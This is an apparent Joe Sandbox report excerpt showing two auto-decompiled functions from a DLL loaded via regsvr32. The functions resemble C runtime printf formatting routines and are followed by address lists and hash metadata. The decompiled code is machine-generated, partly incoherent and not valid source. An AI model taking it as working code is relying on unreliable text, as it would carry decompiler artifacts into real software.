                                                                                                        			E00000001180048524(intOrPtr __esi, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				short _v64;
				char _v68;
				signed short _v72;
				long long _v88;
				void* __rdi;
				void* _t133;
				void* _t159;
				void* _t170;
				unsigned int _t171;
				signed char _t172;
				signed int _t195;
				void* _t199;
				signed short _t209;
				intOrPtr _t216;
				void* _t217;
				signed short _t219;
				void* _t222;
				void* _t223;
				void* _t224;
				signed long long _t287;
				long long _t303;
				long long _t306;
				intOrPtr* _t307;
				signed short* _t309;
				void* _t313;
				void* _t323;
				signed int* _t324;
				signed long long _t327;
				void* _t334;
				signed long long _t335;
				void* _t337;
				void* _t343;
				void* _t347;
				signed long long _t350;
				void* _t353;
				void* _t354;
				intOrPtr* _t356;
				intOrPtr _t357;

				_t347 = __r10;
				_t337 = __r8;
				_t332 = __rbp;
				_t325 = __rsi;
				_t313 = __rdx;
				_t216 = __esi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t335 = _t334 - 0x50;
				_t287 =  *0x800d81f8; // 0x68308725f9ca
				_v56 = _t287 ^ _t335;
				_t195 =  *(__rcx + 0x3a) & 0x0000ffff;
				_t303 = __rcx;
				_t6 = _t323 - 0x20; // 0x58
				_t219 = _t6;
				_t7 = _t323 - 0x77; // 0x1
				r12d = _t7;
				_t8 = _t323 - 0x37; // 0x41
				r14d = _t8;
				_t223 = _t195 - 0x64;
				if (_t223 > 0) goto 0x800485d4;
				if (_t223 == 0) goto 0x800485fb;
				_t224 = _t195 - 0x53;
				if (_t224 > 0) goto 0x800485a3;
				if (_t224 == 0) goto 0x8004863f;
				if (_t224 == 0) goto 0x80048599;
				if (_t224 == 0) goto 0x800485be;
				if (_t224 == 0) goto 0x80048599;
				_t199 = _t195 - r14d - r12d;
				if (_t224 == 0) goto 0x80048599;
				if (_t199 != r12d) goto 0x80048663;
				E0000000118004B9C8(0x78, __rcx, __rcx, __rbp);
				goto 0x8004865c;
				if (_t199 == _t219) goto 0x80048654;
				if (_t199 == 0x5a) goto 0x800485ca;
				if (_t199 == 0x61) goto 0x80048599;
				if (_t199 != 0x63) goto 0x80048663;
				E0000000118004CE78(_t170, _t199 - 0x63, __rcx, __rcx, __rsi, _t337);
				goto 0x8004865c;
				E0000000118004A850(_t170, __rcx, __rcx, _t325);
				goto 0x8004865c;
				if (0 - 0x6f > 0) goto 0x80048628;
				if (0 == 0x6f) goto 0x80048608;
				if (0 == 0x6f) goto 0x80048599;
				if (0 == 0x6f) goto 0x80048599;
				if (0 == 0x6f) goto 0x80048599;
				if (0 == 0x6f) goto 0x800485fb;
				if (0xffffffffffffff9b - r12d - r12d - 2 != 5) goto 0x80048663;
				E0000000118004D8B0(__rcx, __rcx);
				goto 0x8004865c;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00000001180038F94(0, __rcx, __rcx, _t313, _t323, _t325, _t332, _t337, _t347);
				goto 0x8004865c;
				_t171 =  *(__rcx + 0x28);
				if ((r12b & _t171 >> 0x00000005) == 0) goto 0x8004861c;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t171;
				_t306 = __rcx;
				E00000001180037694(0, __rcx, __rcx, _t313, _t323, _t325, _t332, _t337, _t347);
				goto 0x8004865c;
				if (0 == 0x70) goto 0x80048646;
				if (0 == 0x73) goto 0x8004863f;
				if (0 == 0x75) goto 0x800485ff;
				if (0 != 0x78) goto 0x80048663;
				goto 0x80048657;
				E0000000118004E3B0(__rcx, __rcx, _t325);
				goto 0x8004865c;
				 *((intOrPtr*)(_t306 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t306 + 0x34)) = 0xb;
				_t133 = E0000000118003A894(r12b, _t303, _t306, _t313, _t323, _t325, _t332, _t337, _t347);
				r13d = 0;
				if (_t133 != 0) goto 0x8004866a;
				goto 0x800489bc;
				if ( *((intOrPtr*)(_t303 + 0x38)) != r13b) goto 0x800489b9;
				_t172 =  *(_t303 + 0x28);
				_v68 = 0;
				_v64 = 0;
				r10d = 0x20;
				if ((r12b & 0) == 0) goto 0x800486c8;
				if ((r12b & 0) == 0) goto 0x800486aa;
				_v68 = _t347 + 0xd;
				goto 0x800486c5;
				if ((r12b & _t172) == 0) goto 0x800486b6;
				goto 0x800486a3;
				if ((r12b & 0) == 0) goto 0x800486c8;
				_v68 = r10w;
				_t327 = _t350;
				_t209 =  *(_t303 + 0x3a) & 0x0000ffff;
				r9d = 0xffdf;
				if ((r9w & (_t209 & 0x0000ffff) - _t219) != 0) goto 0x800486eb;
				r8b = r12b;
				if ((r12b & 0) != 0) goto 0x800486ee;
				r8b = r13b;
				r9d = 0x30;
				if (r8b != 0) goto 0x8004870b;
				if (0 == 0) goto 0x80048728;
				 *(_t335 + 0x34 + _t327 * 2) = r9w;
				if (_t209 == _t219) goto 0x8004871c;
				if (_t209 != r14w) goto 0x8004871f;
				 *((short*)(_t335 + 0x36 + _t327 * 2)) = _t219 & 0x0000ffff;
				r15d = 0xffff;
				_t222 =  *((intOrPtr*)(_t303 + 0x2c)) -  *((intOrPtr*)(_t303 + 0x48)) - _t216;
				if ((_t172 & 0x0000000c) != 0) goto 0x8004879f;
				if (_t222 <= 0) goto 0x8004879f;
				if ((r12b &  *( *((intOrPtr*)(_t303 + 0x460)) + 0x14) >> 0x0000000c) == 0) goto 0x80048766;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t303 + 0x460)) + 8)) == _t353) goto 0x80048784;
				if (E0000000118005D730(r10d, _t303,  *((intOrPtr*)(_t303 + 0x460)),  *((intOrPtr*)(_t303 + 8)), _t343) == r15w) goto 0x8004879b;
				r10d = 0x20;
				 *(_t303 + 0x20) = _t306 + 1;
				if ( *(_t303 + 0x20) == 0xfffffffe) goto 0x8004879f;
				if (r13d + r12d - _t222 < 0) goto 0x80048746;
				goto 0x8004879f;
				 *(_t303 + 0x20) =  *(_t303 + 0x20) | 0xffffffff;
				_t356 = _t303 + 0x460;
				_t324 = _t303 + 0x20;
				if ((r12b &  *( *_t356 + 0x14) >> 0x0000000c) == 0) goto 0x800487ca;
				if ( *((intOrPtr*)( *_t356 + 8)) != _t353) goto 0x800487ca;
				 *_t324 =  *_t324 + _t216;
				goto 0x800487e2;
				_v88 =  *((intOrPtr*)(_t303 + 8));
				_t344 = _t324;
				r8d = _t216;
				_t307 = _t356;
				E00000001180051990(_t303, _t307,  &_v68, _t327 + 2, _t332, _t324);
				if ((r12b & 0) == 0) goto 0x8004884c;
				if ((r12b &  *(_t303 + 0x28) >> 0x00000002) != 0) goto 0x8004884c;
				_t357 =  *((intOrPtr*)(_t303 + 8));
				_t217 = r13d;
				if (_t222 <= 0) goto 0x8004884c;
				if ((r12b &  *( *_t356 + 0x14) >> 0x0000000c) == 0) goto 0x8004881a;
				if ( *((intOrPtr*)( *_t356 + 8)) == _t353) goto 0x80048834;
				if (E0000000118005D730(0x30, _t303,  *_t356, _t357, _t344) == 0xffff) goto 0x80048849;
				 *_t324 = _t307 + 1;
				if ( *_t324 == 0xfffffffe) goto 0x8004884c;
				if (_t217 + r12d - _t222 < 0) goto 0x80048802;
				goto 0x8004884c;
				 *_t324 =  *_t324 | 0xffffffff;
				if ( *((intOrPtr*)(_t303 + 0x4c)) != r13b) goto 0x80048972;
				if ( *((intOrPtr*)(_t303 + 0x48)) - r13d <= 0) goto 0x80048972;
				_t329 =  *((intOrPtr*)(_t303 + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t303 + 8)) + 0x28)) != r13b) goto 0x80048872;
				E0000000118002F1E0( *_t356, _t303,  *((intOrPtr*)(_t303 + 8)),  *_t356, _t329);
				r15d = r13d;
				if ( *((intOrPtr*)(_t303 + 0x48)) == r13d) goto 0x800488f6;
				_t309 =  &_v72;
				_v72 = r13w;
				_t159 = E0000000118005D094( *_t324, _t222, _t303, _t309,  *((intOrPtr*)(_t303 + 0x40)), _t324, _t329, _t332,  *((intOrPtr*)( *((intOrPtr*)(_t329 + 0x18)) + 8)),  *((intOrPtr*)(_t303 + 8)));
				_t354 = _t159;
				if (_t159 <= 0) goto 0x8004896a;
				if (( *( *_t356 + 0x14) >> 0x0000000c & 0x00000001) == 0) goto 0x800488cb;
				if ( *((long long*)( *_t356 + 8)) == 0) goto 0x800488dd;
				if (E0000000118005D730(_v72 & 0x0000ffff, _t303,  *_t356,  *((intOrPtr*)(_t303 + 8)),  *((intOrPtr*)(_t303 + 8))) == 0xffff) goto 0x800488e1;
				 *_t324 =  *_t324 + 1;
				goto 0x800488e4;
				 *_t324 =  *_t324 | 0xffffffff;
				r15d = r15d + 1;
				r13d = 0;
				if (r15d !=  *((intOrPtr*)(_t303 + 0x48))) goto 0x8004887f;
				r12d = 1;
				if ( *_t324 - r13d < 0) goto 0x800489b9;
				if ((r12b & 0) == 0) goto 0x800489b9;
				if (_t222 <= 0) goto 0x800489b9;
				if ((r12b &  *( *_t356 + 0x14) >> 0x0000000c) == 0) goto 0x8004893b;
				if ( *((intOrPtr*)( *_t356 + 8)) == _t354) goto 0x80048955;
				if (E0000000118005D730(0x20, _t303,  *_t356,  *((intOrPtr*)(_t303 + 8)),  *((intOrPtr*)(_t303 + 8))) == 0xffff) goto 0x800489b6;
				_t110 = _t309 + 1; // 0x10000
				 *_t324 = _t110;
				if ( *_t324 == 0xfffffffe) goto 0x800489b9;
				if (r13d + r12d - _t222 < 0) goto 0x80048923;
				goto 0x800489b9;
				 *_t324 =  *_t324 | 0xffffffff;
				r13d = 0;
				goto 0x800488f6;
				r8d =  *((intOrPtr*)(_t303 + 0x48));
				if ((r12b &  *( *_t356 + 0x14) >> 0x0000000c) == 0) goto 0x8004899e;
				if ( *((intOrPtr*)( *_t356 + 8)) != _t354) goto 0x8004899e;
				 *_t324 =  *_t324 + r8d;
				goto 0x800488fc;
				_v88 =  *((intOrPtr*)(_t303 + 8));
				E00000001180051990(_t303, _t356,  *((intOrPtr*)(_t303 + 0x40)),  *((intOrPtr*)(_t303 + 8)), _t332, _t324);
				goto 0x800488fc;
				 *_t324 =  *_t324 | 0xffffffff;
				return E000000011800149A0(r12b,  *( *_t356 + 0x14) >> 0xc, _v56 ^ _t335);
			}











































                                                                                                        0x180048524
                                                                                                        0x180048524
                                                                                                        0x180048524
                                                                                                        0x180048524
                                                                                                        0x180048524
                                                                                                        0x180048524
                                                                                                        0x180048524
                                                                                                        0x180048529
                                                                                                        0x18004852e
                                                                                                        0x18004853c
                                                                                                        0x180048540
                                                                                                        0x18004854a
                                                                                                        0x18004854f
                                                                                                        0x180048558
                                                                                                        0x18004855b
                                                                                                        0x18004855b
                                                                                                        0x18004855e
                                                                                                        0x18004855e
                                                                                                        0x180048562
                                                                                                        0x180048562
                                                                                                        0x180048566
                                                                                                        0x180048569
                                                                                                        0x18004856b
                                                                                                        0x180048571
                                                                                                        0x180048574
                                                                                                        0x180048576
                                                                                                        0x18004857f
                                                                                                        0x180048584
                                                                                                        0x180048589
                                                                                                        0x18004858b
                                                                                                        0x18004858e
                                                                                                        0x180048593
                                                                                                        0x180048599
                                                                                                        0x18004859e
                                                                                                        0x1800485a5
                                                                                                        0x1800485ae
                                                                                                        0x1800485b3
                                                                                                        0x1800485b8
                                                                                                        0x1800485c0
                                                                                                        0x1800485c5
                                                                                                        0x1800485ca
                                                                                                        0x1800485cf
                                                                                                        0x1800485d7
                                                                                                        0x1800485d9
                                                                                                        0x1800485de
                                                                                                        0x1800485e3
                                                                                                        0x1800485e8
                                                                                                        0x1800485ed
                                                                                                        0x1800485f2
                                                                                                        0x1800485f4
                                                                                                        0x1800485f9
                                                                                                        0x1800485fb
                                                                                                        0x180048601
                                                                                                        0x180048606
                                                                                                        0x180048608
                                                                                                        0x180048613
                                                                                                        0x180048615
                                                                                                        0x180048619
                                                                                                        0x18004861e
                                                                                                        0x180048621
                                                                                                        0x180048626
                                                                                                        0x18004862b
                                                                                                        0x180048630
                                                                                                        0x180048635
                                                                                                        0x180048639
                                                                                                        0x18004863d
                                                                                                        0x18004863f
                                                                                                        0x180048644
                                                                                                        0x180048646
                                                                                                        0x18004864d
                                                                                                        0x180048657
                                                                                                        0x18004865c
                                                                                                        0x180048661
                                                                                                        0x180048665
                                                                                                        0x18004866e
                                                                                                        0x180048674
                                                                                                        0x180048679
                                                                                                        0x180048680
                                                                                                        0x180048685
                                                                                                        0x180048693
                                                                                                        0x18004869d
                                                                                                        0x1800486a3
                                                                                                        0x1800486a8
                                                                                                        0x1800486ad
                                                                                                        0x1800486b4
                                                                                                        0x1800486bd
                                                                                                        0x1800486bf
                                                                                                        0x1800486c5
                                                                                                        0x1800486c8
                                                                                                        0x1800486cc
                                                                                                        0x1800486dc
                                                                                                        0x1800486e0
                                                                                                        0x1800486e9
                                                                                                        0x1800486eb
                                                                                                        0x1800486f9
                                                                                                        0x180048705
                                                                                                        0x180048709
                                                                                                        0x18004870b
                                                                                                        0x180048714
                                                                                                        0x18004871a
                                                                                                        0x18004871f
                                                                                                        0x18004872b
                                                                                                        0x180048734
                                                                                                        0x180048739
                                                                                                        0x180048744
                                                                                                        0x180048757
                                                                                                        0x180048764
                                                                                                        0x18004877c
                                                                                                        0x18004877e
                                                                                                        0x18004878a
                                                                                                        0x180048790
                                                                                                        0x180048797
                                                                                                        0x180048799
                                                                                                        0x18004879b
                                                                                                        0x1800487a3
                                                                                                        0x1800487ad
                                                                                                        0x1800487bb
                                                                                                        0x1800487c4
                                                                                                        0x1800487c6
                                                                                                        0x1800487c8
                                                                                                        0x1800487ca
                                                                                                        0x1800487cf
                                                                                                        0x1800487d7
                                                                                                        0x1800487da
                                                                                                        0x1800487dd
                                                                                                        0x1800487ed
                                                                                                        0x1800487f5
                                                                                                        0x1800487f7
                                                                                                        0x1800487fb
                                                                                                        0x180048800
                                                                                                        0x18004880f
                                                                                                        0x180048818
                                                                                                        0x180048832
                                                                                                        0x180048839
                                                                                                        0x18004883e
                                                                                                        0x180048845
                                                                                                        0x180048847
                                                                                                        0x180048849
                                                                                                        0x180048850
                                                                                                        0x18004885a
                                                                                                        0x180048860
                                                                                                        0x180048868
                                                                                                        0x18004886d
                                                                                                        0x180048872
                                                                                                        0x18004887d
                                                                                                        0x180048883
                                                                                                        0x18004888f
                                                                                                        0x180048899
                                                                                                        0x18004889e
                                                                                                        0x1800488a3
                                                                                                        0x1800488bf
                                                                                                        0x1800488c9
                                                                                                        0x1800488db
                                                                                                        0x1800488dd
                                                                                                        0x1800488df
                                                                                                        0x1800488e1
                                                                                                        0x1800488e7
                                                                                                        0x1800488ea
                                                                                                        0x1800488f4
                                                                                                        0x1800488f6
                                                                                                        0x1800488ff
                                                                                                        0x18004890e
                                                                                                        0x18004891d
                                                                                                        0x180048930
                                                                                                        0x180048939
                                                                                                        0x180048953
                                                                                                        0x180048957
                                                                                                        0x18004895a
                                                                                                        0x18004895f
                                                                                                        0x180048966
                                                                                                        0x180048968
                                                                                                        0x18004896a
                                                                                                        0x18004896d
                                                                                                        0x180048970
                                                                                                        0x180048979
                                                                                                        0x18004898b
                                                                                                        0x180048994
                                                                                                        0x180048996
                                                                                                        0x180048999
                                                                                                        0x18004899e
                                                                                                        0x1800489ac
                                                                                                        0x1800489b1
                                                                                                        0x1800489b6
                                                                                                        0x1800489e6

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: fb6e3b38a8869dbaca7a231a39710fd60c512a52b10e475c11d868c9b2228729
                                                                                                        • Instruction ID: cd21dbd7c371e8b47e1e72fcaba98dffb5170b6b25ae6adc7cce8ad487c82d62
                                                                                                        • Opcode Fuzzy Hash: fb6e3b38a8869dbaca7a231a39710fd60c512a52b10e475c11d868c9b2228729
                                                                                                        • Instruction Fuzzy Hash: 83D1D376200E4886E7EA8A25C1D03AD27A1FB4DBCCF1AC915FE4507395DF31CA49E709
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180048120 Relevance: .3, Instructions: 327COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 60%
                                                                                                        			E00000001180048120(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rbp;
				void* _t111;
				void* _t112;
				void* _t140;
				char _t147;
				void* _t151;
				unsigned int _t156;
				signed char _t157;
				signed int _t160;
				void* _t177;
				void* _t178;
				void* _t179;
				void* _t185;
				signed long long _t231;
				void* _t247;
				intOrPtr _t258;
				intOrPtr _t261;
				intOrPtr* _t265;
				void* _t269;
				void* _t270;
				intOrPtr _t276;
				signed int* _t278;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t290;
				void* _t294;
				intOrPtr* _t295;

				_t290 = __r10;
				_t286 = __r8;
				_t280 = __rsi;
				_t277 = __rdi;
				_t269 = __rdx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t282 = _t283;
				_t284 = _t283 - 0x50;
				_t231 =  *0x800d81f8; // 0x68308725f9ca
				_v56 = _t231 ^ _t283 - 0x00000050;
				_t247 = __rcx;
				_t147 =  *((char*)(__rcx + 0x39));
				_t6 = _t277 - 0x77; // 0x1
				r13d = _t6;
				_t178 = _t147 - 0x64;
				if (_t178 > 0) goto 0x800481d5;
				if (_t178 == 0) goto 0x800481ff;
				_t179 = _t147 - 0x53;
				if (_t179 > 0) goto 0x8004819d;
				if (_t179 == 0) goto 0x80048246;
				if (_t179 == 0) goto 0x80048190;
				if (_t179 == 0) goto 0x800481b9;
				if (_t179 == 0) goto 0x80048190;
				_t151 = _t147 - 0x3d - r13d;
				if (_t179 == 0) goto 0x80048190;
				if (_t151 != r13d) goto 0x8004826d;
				_t111 = E0000000118004B774(0x78, __rcx, __rcx, __rsi, _t282);
				goto 0x80048269;
				if (_t151 == 0x58) goto 0x8004825e;
				if (_t151 == 0x5a) goto 0x800481c8;
				if (_t151 == 0x61) goto 0x80048190;
				if (_t151 != 0x63) goto 0x8004826d;
				_t112 = E0000000118004CDA4(_t111, _t151 - 0x63, __rcx, __rcx);
				goto 0x80048269;
				E0000000118004A7D4(_t112, __rcx);
				goto 0x80048269;
				_t185 = _t151 - 0x6f;
				if (_t185 > 0) goto 0x8004822f;
				if (_t185 == 0) goto 0x8004820f;
				if (_t185 == 0) goto 0x80048190;
				if (_t185 == 0) goto 0x80048190;
				if (_t185 == 0) goto 0x80048190;
				if (_t185 == 0) goto 0x800481ff;
				if (_t151 - 0x65 - r13d - r13d - 2 != 5) goto 0x8004826d;
				E0000000118004D7F8(__rcx, __rcx);
				goto 0x80048269;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00000001180038D90(0, __rcx, __rcx, _t269, __rdi, _t280, _t282, _t286, _t290);
				goto 0x80048269;
				_t156 =  *(__rcx + 0x28);
				if ((r13b & _t156 >> 0x00000005) == 0) goto 0x80048223;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t156;
				E00000001180037490(0, __rcx, __rcx, _t269, _t277, _t280, _t282, _t286, _t290);
				goto 0x80048269;
				if (_t156 == 0x70) goto 0x80048250;
				if (_t156 == 0x73) goto 0x80048246;
				if (_t156 == 0x75) goto 0x80048203;
				if (_t156 != 0x78) goto 0x8004826d;
				goto 0x80048261;
				E0000000118004E314(__rcx);
				goto 0x80048269;
				 *((intOrPtr*)(__rcx + 0x30)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x34)) = 0xb;
				if (E0000000118003A690(r13b, __rcx, __rcx, _t269, _t277, _t280, _t282, _t286, _t290) != 0) goto 0x80048274;
				goto 0x800484f7;
				if ( *((char*)(__rcx + 0x38)) != 0) goto 0x800484f4;
				_t157 =  *(__rcx + 0x28);
				_v72 = 0;
				_v70 = 0;
				if ((r13b & 0) == 0) goto 0x800482c1;
				if ((r13b & 0) == 0) goto 0x800482a6;
				_v72 = 0x2d;
				goto 0x800482be;
				if ((r13b & _t157) == 0) goto 0x800482b1;
				_v72 = 0x2b;
				goto 0x800482be;
				if ((r13b & 0) == 0) goto 0x800482c1;
				_v72 = 0x20;
				_t270 = _t294;
				r8b =  *((intOrPtr*)(__rcx + 0x39));
				if (0 != 0) goto 0x800482dc;
				if ((r13b & 0) == 0) goto 0x800482dc;
				r9b = r13b;
				goto 0x800482df;
				r9b = 0;
				if (r9b != 0) goto 0x800482f1;
				if (0 == 0) goto 0x8004830e;
				 *((char*)(_t282 + _t270 - 0x20)) = 0x30;
				if (r8b == 0x58) goto 0x80048302;
				if (r8b != 0x41) goto 0x80048305;
				dil = 0x58;
				 *((intOrPtr*)(_t282 + _t270 - 0x1f)) = dil;
				_t177 =  *((intOrPtr*)(__rcx + 0x2c)) -  *((intOrPtr*)(__rcx + 0x48));
				if ((_t157 & 0x0000000c) != 0) goto 0x80048380;
				r9d = 0;
				if (_t177 <= 0) goto 0x80048380;
				r8d =  *(__rcx + 0x20);
				_t258 =  *((intOrPtr*)(__rcx + 0x460));
				if ( *((intOrPtr*)(_t258 + 0x10)) !=  *((intOrPtr*)(_t258 + 8))) goto 0x8004834c;
				if ( *((char*)(_t258 + 0x18)) == 0) goto 0x80048342;
				r8d = r8d + 1;
				goto 0x80048346;
				r8d = r8d | 0xffffffff;
				 *(__rcx + 0x20) = r8d;
				goto 0x8004836e;
				 *(__rcx + 0x20) = _t286 + 1;
				 *((intOrPtr*)(_t258 + 0x10)) =  *((intOrPtr*)(_t258 + 0x10)) + _t294;
				 *((char*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))))) = 0x20;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) + _t294;
				r8d =  *(__rcx + 0x20);
				if (r8d == 0xffffffff) goto 0x80048380;
				r9d = r9d + r13d;
				if (r9d - _t177 < 0) goto 0x80048326;
				_t63 = _t247 + 0x20; // 0x78
				_t278 = _t63;
				r8d = 0;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				_t65 = _t247 + 0x460; // 0x4b8
				_t295 = _t65;
				E00000001180051778(_t286 + 1, 0x78, _t177, __rcx, _t295, _t278, _t280, _t282, _t278);
				if ((r13b & 0) == 0) goto 0x80048409;
				if ((r13b &  *(__rcx + 0x28) >> 0x00000002) != 0) goto 0x80048409;
				r8d = 0;
				if (_t177 <= 0) goto 0x80048409;
				_t261 =  *_t295;
				if ( *((intOrPtr*)(_t261 + 0x10)) !=  *((intOrPtr*)(_t261 + 8))) goto 0x800483e2;
				if ( *((char*)(_t261 + 0x18)) == 0) goto 0x800483db;
				goto 0x800483de;
				 *_t278 =  *_t278 + 0x00000001 | 0xffffffff;
				goto 0x800483fa;
				 *_t278 =  &(( &_v72)[0]);
				 *((intOrPtr*)(_t261 + 0x10)) =  *((intOrPtr*)(_t261 + 0x10)) + _t294;
				 *((char*)( *((intOrPtr*)( *_t295)))) = 0x30;
				 *((intOrPtr*)( *_t295)) =  *((intOrPtr*)( *_t295)) + _t294;
				if ( *_t278 == 0xffffffff) goto 0x80048409;
				r8d = r8d + r13d;
				if (r8d - _t177 < 0) goto 0x800483c4;
				if ( *((char*)(__rcx + 0x4c)) == 0) goto 0x8004847b;
				if ( *((intOrPtr*)(__rcx + 0x48)) <= 0) goto 0x8004847b;
				r15d = 0;
				r9d =  *( *(__rcx + 0x40)) & 0x0000ffff;
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				if (E0000000118005CBE0( *((intOrPtr*)(__rcx + 8)), __rcx,  &_v72,  &_v68, _t282, _t286) != 0) goto 0x80048476;
				r8d = _v72;
				if (r8d == 0) goto 0x80048476;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				_t140 = E00000001180051778(_t139, 0x78, _t177, _t247, _t295, _t278, _t280, _t282, _t278);
				r15d = r15d + r13d;
				if (r15d !=  *(_t247 + 0x48)) goto 0x8004841c;
				goto 0x80048497;
				 *_t278 =  *_t278 | 0xffffffff;
				goto 0x80048497;
				r8d =  *(_t247 + 0x48);
				_t265 = _t295;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				E00000001180051778(_t140, 0x78, _t177, _t247, _t265, _t278, _t280, _t282, _t278);
				_t160 =  *_t278;
				if (_t160 < 0) goto 0x800484f4;
				if ((r13b & 0) == 0) goto 0x800484f4;
				r8d = 0;
				if (_t177 <= 0) goto 0x800484f4;
				_t276 =  *_t295;
				if ( *((intOrPtr*)(_t276 + 0x10)) !=  *((intOrPtr*)(_t276 + 8))) goto 0x800484cd;
				if ( *((char*)(_t276 + 0x18)) == 0) goto 0x800484c6;
				goto 0x800484c9;
				 *_t278 = _t160 + 0x00000001 | 0xffffffff;
				goto 0x800484e5;
				 *_t278 = _t265 + 1;
				 *((intOrPtr*)(_t276 + 0x10)) =  *((intOrPtr*)(_t276 + 0x10)) + _t294;
				 *((char*)( *((intOrPtr*)( *_t295)))) = 0x20;
				 *((intOrPtr*)( *_t295)) =  *((intOrPtr*)( *_t295)) + _t294;
				if ( *_t278 == 0xffffffff) goto 0x800484f4;
				r8d = r8d + r13d;
				if (r8d - _t177 < 0) goto 0x800484af;
				return E000000011800149A0(r13b,  *_t278, _v56 ^ _t284);
			}





































                                                                                                        0x180048120
                                                                                                        0x180048120
                                                                                                        0x180048120
                                                                                                        0x180048120
                                                                                                        0x180048120
                                                                                                        0x180048120
                                                                                                        0x180048125
                                                                                                        0x18004812a
                                                                                                        0x180048138
                                                                                                        0x18004813b
                                                                                                        0x18004813f
                                                                                                        0x180048149
                                                                                                        0x180048152
                                                                                                        0x180048155
                                                                                                        0x180048159
                                                                                                        0x180048159
                                                                                                        0x18004815d
                                                                                                        0x180048160
                                                                                                        0x180048162
                                                                                                        0x180048168
                                                                                                        0x18004816b
                                                                                                        0x18004816d
                                                                                                        0x180048176
                                                                                                        0x18004817b
                                                                                                        0x180048180
                                                                                                        0x180048182
                                                                                                        0x180048185
                                                                                                        0x18004818a
                                                                                                        0x180048193
                                                                                                        0x180048198
                                                                                                        0x1800481a0
                                                                                                        0x1800481a9
                                                                                                        0x1800481ae
                                                                                                        0x1800481b3
                                                                                                        0x1800481be
                                                                                                        0x1800481c3
                                                                                                        0x1800481cb
                                                                                                        0x1800481d0
                                                                                                        0x1800481d5
                                                                                                        0x1800481d8
                                                                                                        0x1800481da
                                                                                                        0x1800481df
                                                                                                        0x1800481e4
                                                                                                        0x1800481e9
                                                                                                        0x1800481ee
                                                                                                        0x1800481f3
                                                                                                        0x1800481f8
                                                                                                        0x1800481fd
                                                                                                        0x1800481ff
                                                                                                        0x180048208
                                                                                                        0x18004820d
                                                                                                        0x18004820f
                                                                                                        0x18004821a
                                                                                                        0x18004821c
                                                                                                        0x180048220
                                                                                                        0x180048228
                                                                                                        0x18004822d
                                                                                                        0x180048232
                                                                                                        0x180048237
                                                                                                        0x18004823c
                                                                                                        0x180048240
                                                                                                        0x180048244
                                                                                                        0x180048249
                                                                                                        0x18004824e
                                                                                                        0x180048250
                                                                                                        0x180048257
                                                                                                        0x18004826b
                                                                                                        0x18004826f
                                                                                                        0x180048278
                                                                                                        0x18004827e
                                                                                                        0x180048283
                                                                                                        0x180048289
                                                                                                        0x180048294
                                                                                                        0x18004829e
                                                                                                        0x1800482a0
                                                                                                        0x1800482a4
                                                                                                        0x1800482a9
                                                                                                        0x1800482ab
                                                                                                        0x1800482af
                                                                                                        0x1800482b8
                                                                                                        0x1800482ba
                                                                                                        0x1800482be
                                                                                                        0x1800482c1
                                                                                                        0x1800482cb
                                                                                                        0x1800482d5
                                                                                                        0x1800482d7
                                                                                                        0x1800482da
                                                                                                        0x1800482dc
                                                                                                        0x1800482eb
                                                                                                        0x1800482ef
                                                                                                        0x1800482f1
                                                                                                        0x1800482fa
                                                                                                        0x180048300
                                                                                                        0x180048302
                                                                                                        0x180048305
                                                                                                        0x180048313
                                                                                                        0x180048319
                                                                                                        0x18004831b
                                                                                                        0x180048320
                                                                                                        0x180048322
                                                                                                        0x180048326
                                                                                                        0x180048335
                                                                                                        0x18004833b
                                                                                                        0x18004833d
                                                                                                        0x180048340
                                                                                                        0x180048342
                                                                                                        0x180048346
                                                                                                        0x18004834a
                                                                                                        0x180048350
                                                                                                        0x180048353
                                                                                                        0x180048361
                                                                                                        0x18004836b
                                                                                                        0x18004836e
                                                                                                        0x180048376
                                                                                                        0x180048378
                                                                                                        0x18004837e
                                                                                                        0x180048384
                                                                                                        0x180048384
                                                                                                        0x180048388
                                                                                                        0x18004838b
                                                                                                        0x180048390
                                                                                                        0x180048390
                                                                                                        0x1800483a1
                                                                                                        0x1800483b1
                                                                                                        0x1800483b9
                                                                                                        0x1800483bb
                                                                                                        0x1800483c0
